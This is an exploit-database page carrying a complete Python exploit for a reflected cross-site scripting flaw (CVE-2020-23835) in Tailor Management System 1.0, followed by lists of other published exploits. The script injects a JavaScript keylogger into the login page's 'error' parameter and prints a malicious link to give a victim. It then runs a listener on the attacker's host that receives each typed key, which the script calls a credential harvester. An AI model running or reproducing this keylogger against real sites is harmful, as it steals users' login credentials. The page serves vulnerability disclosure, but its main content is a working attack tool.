Search for hundreds of thousands of exploits

"Tailor MS 1.0 - Reflected Cross-Site Scripting"

Author

Exploit author

boku

Platform

Exploit platform

php

Release date

Exploit published date

2020-09-15

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
# Exploit Title: Tailor MS 1.0 - Reflected Cross-Site Scripting
# Exploit Author: Bobby Cooke (boku)  & Adeeb Shah (@hyd3sec)
# Date: 2020-09-14
# CVE ID: CVE-2020-23835
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/sites/default/files/download/Warren%20Daloyan/tailor.zip
# Version: 1.0
# Tested On: Windows 10 Pro + XAMPP | Python 2.7
# OWASP Top Ten 2017: A7:2017-Cross-Site Scripting (XSS)
# CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') - Type 1: Reflected XSS
# CWE-523: Unprotected Transport of Credentials
# CVSS Base Score: 6.4 # Impact Subscore: 4.7 # Exploitability Subscore: 1.6
# CVSS v3.1 Vector: AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:L
# Vulnerability Description: 
# Reflected Cross-Site Scripting (XSS) vulnerability in 'index.php' login-portal webpage of SourceCodesters Tailor Management System v1.0 allows remote attackers to harvest keys pressed via unauthenticated victim clicking malicious URL and typing.

# Reflected XSS Key Logger

import socket,sys,urllib,re
from thread import *
from colorama import Fore, Style


F = [Fore.RESET,Fore.BLACK,Fore.RED,Fore.GREEN,Fore.YELLOW,Fore.BLUE,Fore.MAGENTA,Fore.CYAN,Fore.WHITE]
S = [Style.RESET_ALL,Style.DIM,Style.NORMAL,Style.BRIGHT]
ok   = S[3]+F[2]+')'+F[5]+'+++'+F[2]+'['+F[8]+'========> '+S[0]+F[0]
err  = S[3]+F[2]+'<========'+F[2]+'('+F[5]+'+++'+F[2]+'( '+F[0]+S[0]
R, C, G = Fore.RED, Fore.CYAN, Fore.GREEN

def urlEncode(javascript):
    return urllib.quote(javascript)

def genXssPayload(LHOST,LPORT):
    XSS_PAYLOAD  = '<script>'
    XSS_PAYLOAD += 'var xhr = new XMLHttpRequest();'
    XSS_PAYLOAD += 'document.onkeypress = function keyLogger(key) {'
    XSS_PAYLOAD += 'key_press = String.fromCharCode(key.which);'
    XSS_PAYLOAD += 'var uri = "http://'+LHOST+':'+LPORT+'?KEY="+key_press;'
    XSS_PAYLOAD += 'xhr.open("GET", uri, true);'
    XSS_PAYLOAD += 'xhr.send();}'
    XSS_PAYLOAD += '</script>'
    return XSS_PAYLOAD

def clientthread(conn):
    try:
        while True:
            data = conn.recv(1024)
            key = re.findall(r'KEY\=\w',data)
            key = re.sub('KEY\=','',key[0])
            print(printKey(key))
            if not data:
                break
    except:
        conn.close()

def banner():
    BANNER  = S[3]+C+' _______ _______ _______     _______ _______ _______     _______ _______ _______ _______ _______ _______ \n'
    BANNER += C+'|\     /|\     /|\     /|   |\     /|\     /|\     /|   |\     /|\     /|\     /|\     /|\     /|\     /|\n'
    BANNER += C+'| +---+ | +---+ | +---+ |   | +---+ | +---+ | +---+ |   | +---+ | +---+ | +---+ | +---+ | +---+ | +---+ |\n'
    BANNER += C+'| |   | | |   | | |   | |   | |   | | |   | | |   | |   | |   | | |   | | |   | | |   | | |   | | |   | |\n'
    BANNER += C+'| | '+R+'X'+C+' | | | '+R+'$'+C+' | | | '+R+'$'+C+' | |   | | '+R+'K'+C+' | | | '+R+'3'+C+' | | | '+R+'Y'+C+' | |   | | '+R+'L'+C+' | | | '+R+'0'+C+' | | | '+R+'G'+C+' | | | '+R+'G'+C+' | | | '+R+'3'+C+' | | | '+R+'R'+C+' | |\n'
    BANNER += C+'| +---+ | +---+ | +---+ |   | +---+ | +---+ | +---+ |   | +---+ | +---+ | +---+ | +---+ | +---+ | +---+ |\n'
    BANNER += C+'|/_____\|/_____\|/_____\|   |/_____\|/_____\|/_____\|   |/_____\|/_____\|/_____\|/_____\|/_____\|/_____\|\n\r\n'
    BANNER += '                                          '+R+'BOKU '+F[0]+'&'+C+' HYD3SEC'+F[0]+S[0]+'\r\n'
    return BANNER

def printKey(key):
    keyGen  = S[3]+C+'     _______\n' 
    keyGen += C+'    |\     /|\n'
    keyGen += C+'    | +---+ |\n'
    keyGen += C+'    | |   | |\n'
    keyGen += C+'    | | '+R+key+C+' | |\n'
    keyGen += C+'    | +---+ |\n'
    keyGen += C+'    |/_____\|'+F[0]+S[0]
    return keyGen         

def header():
    head = S[1]+F[2]+'                         __---* '+F[7]+'Tailor MS v1.0 '+F[2]+'| '+F[7]+'Reflected XSS Key Logger '+F[2]+'*---__\n'+S[0]
    return head

def formatHelp(STRING):
    return S[3]+F[2]+STRING+S[0]

if __name__ == "__main__":
    print(header())
    print(banner())
    if len(sys.argv) != 4:
        print(ok+formatHelp(" Usage:   python %s <WEBAPP_URL> <LHOST> <LPORT>" % sys.argv[0]))
        print(ok+formatHelp(" Example: python %s 'http://172.16.65.134/tailor/' '172.16.65.1' 80\r\n" % sys.argv[0]))
        print(err+"Try Again..\r\n")
        sys.exit(-1)
    WEBAPP_URL = sys.argv[1]
    LHOST = sys.argv[2]
    LPORT = sys.argv[3]
    if not re.match(r".*/$", WEBAPP_URL):
        WEBAPP_URL = WEBAPP_URL+'/'
    WEBAPP_URL = WEBAPP_URL+'index.php'
    PAYLOAD = genXssPayload(LHOST,LPORT)
    ENCODED_PAYLOAD = urlEncode(PAYLOAD)
    print(ok+F[0]+'To '+S[3]+F[2]+'Harvest Keys'+F[0]+S[0]+', have a'+F[3]+' User '+F[0]+'visit '+F[5]+'this URL'+F[0]+' and '+F[7]+'Login'+F[0]+':\r\n')
    print(S[3]+F[5]+WEBAPP_URL+'?error=ALL%20YOUR%20K3Y$%20ARE%20BELONG%20TO%20US.%20'+ENCODED_PAYLOAD+S[0]+'\r\n')
    LPORT = int(LPORT)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind((LHOST,LPORT))
    print(ok+S[1]+G+"Binding to Socket."+F[0]+S[0])
    s.listen(100)
    print(ok+S[1]+G+"Listening on Socket for incoming connections."+F[0]+S[0])
    try:
        while 1:
            conn, addr = s.accept()
            start_new_thread(clientthread ,(conn,))
    except:
        s.close()
        print('\r\n'+err+"Exiting Keylogger Credential Harvester..")
Release Date Title Type Platform Author
2020-09-21 "ForensiTAppxService 2.2.0.4 - 'ForensiTAppxService.exe' Unquoted Service Path" local windows "Burhanettin Ozgenc"
2020-09-21 "B-swiss 3 Digital Signage System 3.6.5 - Remote Code Execution" webapps multiple LiquidWorm
2020-09-21 "Mida eFramework 2.9.0 - Back Door Access" webapps hardware elbae
2020-09-21 "BlackCat CMS 1.3.6 - Cross-Site Request Forgery" webapps php Noth
2020-09-21 "Seat Reservation System 1.0 - 'id' SQL Injection" webapps php Augkim
2020-09-21 "Online Shop Project 1.0 - 'p' SQL Injection" webapps php Augkim
2020-09-18 "Mantis Bug Tracker 2.3.0 - Remote Code Execution (Unauthenticated)" webapps php "Nikolas Geiselman"
2020-09-18 "SpamTitan 7.07 - Remote Code Execution (Authenticated)" webapps multiple "Felipe Molina"
2020-09-17 "Microsoft SQL Server Reporting Services 2016 - Remote Code Execution" remote windows "West Shepherd"
2020-09-16 "Windows TCPIP Finger Command - C2 Channel and Bypassing Security Software" local windows hyp3rlinx
Release Date Title Type Platform Author
2020-09-21 "Seat Reservation System 1.0 - 'id' SQL Injection" webapps php Augkim
2020-09-21 "BlackCat CMS 1.3.6 - Cross-Site Request Forgery" webapps php Noth
2020-09-21 "Online Shop Project 1.0 - 'p' SQL Injection" webapps php Augkim
2020-09-18 "Mantis Bug Tracker 2.3.0 - Remote Code Execution (Unauthenticated)" webapps php "Nikolas Geiselman"
2020-09-16 "Piwigo 2.10.1 - Cross Site Scripting" webapps php Iridium
2020-09-15 "Tailor MS 1.0 - Reflected Cross-Site Scripting" webapps php boku
2020-09-15 "ThinkAdmin 6 - Arbitrarily File Read" webapps php Hzllaga
2020-09-14 "Joomla! paGO Commerce 2.5.9.0 - SQL Injection (Authenticated)" webapps php "Mehmet Kelepçe"
2020-09-10 "CuteNews 2.1.2 - Remote Code Execution" webapps php "Musyoka Ian"
2020-09-09 "Tailor Management System - 'id' SQL Injection" webapps php Mosaaed
Release Date Title Type Platform Author
2020-09-15 "Tailor MS 1.0 - Reflected Cross-Site Scripting" webapps php boku
2020-09-03 "BarracudaDrive v6.5 - Insecure Folder Permissions" local windows boku
2020-09-02 "Stock Management System 1.0 - Cross-Site Request Forgery (Change Username)" webapps php boku
2020-08-13 "GetSimple CMS Plugin Multi User 1.8.2 - Cross-Site Request Forgery (Add Admin)" webapps php boku
2020-08-10 "Warehouse Inventory System 1.0 - Cross-Site Request Forgery (Change Admin Password)" webapps php boku
2020-07-26 "LibreHealth 2.0.0 - Authenticated Remote Code Execution" webapps php boku
2020-07-26 "Online Course Registration 1.0 - Unauthenticated Remote Code Execution" webapps php boku
2020-06-16 "Bandwidth Monitor 3.9 - 'Svc10StrikeBandMontitor' Unquoted Service Path" local windows boku
2020-06-10 "10-Strike Bandwidth Monitor 3.9 - Buffer Overflow (SEH_DEP_ASLR)" local windows boku
2020-05-22 "Gym Management System 1.0 - Unauthenticated Remote Code Execution" webapps php boku
2020-05-07 "Pisay Online E-Learning System 1.0 - Remote Code Execution" webapps php boku
2020-05-01 "ChemInv 1.0 - Authenticated Persistent Cross-Site Scripting" webapps php boku
2020-05-01 "Online Scheduling System 1.0 - Authentication Bypass" webapps php boku
2020-05-01 "Online Scheduling System 1.0 - Persistent Cross-Site Scripting" webapps php boku
2020-04-20 "Atomic Alarm Clock x86 6.3 - 'AtomicAlarmClock' Unquoted Service Path" local windows boku
2020-04-20 "Atomic Alarm Clock 6.3 - Stack Overflow (Unicode+SEH)" local windows boku
2020-04-13 "Free Desktop Clock x86 Venetian Blinds Zipper 3.0 - Unicode Stack Overflow (SEH)" local windows boku
2020-02-17 "DHCP Turbo 4.61298 - 'DHCP Turbo 4' Unquoted Service Path" local windows boku
2020-02-17 "TFTP Turbo 4.6.1273 - 'TFTP Turbo 4' Unquoted Service Path" local windows boku
2020-02-17 "Cuckoo Clock v5.0 - Buffer Overflow" local windows boku
2020-02-17 "BOOTP Turbo 2.0.1214 - 'BOOTP Turbo' Unquoted Service Path" local windows boku
2020-02-14 "SprintWork 2.3.1 - Local Privilege Escalation" local windows boku
2020-02-14 "HomeGuard Pro 9.3.1 - Insecure Folder Permissions" local windows boku
2020-02-13 "OpenTFTP 1.66 - Local Privilege Escalation" local windows boku
2020-02-11 "Sync Breeze Enterprise 12.4.18 - 'Sync Breeze Enterprise' Unquoted Service Path" local windows boku
2020-02-11 "FreeSSHd 1.3.1 - 'FreeSSHDService' Unquoted Service Path" local windows boku
2020-02-11 "freeFTPd v1.0.13 - 'freeFTPdService' Unquoted Service Path" local windows boku
2020-02-11 "Torrent iPod Video Converter 1.51 - Stack Overflow" local windows boku
2020-02-11 "Disk Savvy Enterprise 12.3.18 - Unquoted Service Path" local windows boku
2020-02-11 "Disk Sorter Enterprise 12.4.16 - 'Disk Sorter Enterprise' Unquoted Service Path" local windows boku
import requests
response = requests.get('https://www.nmmapper.com/api/v1/exploitdetails/48813/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.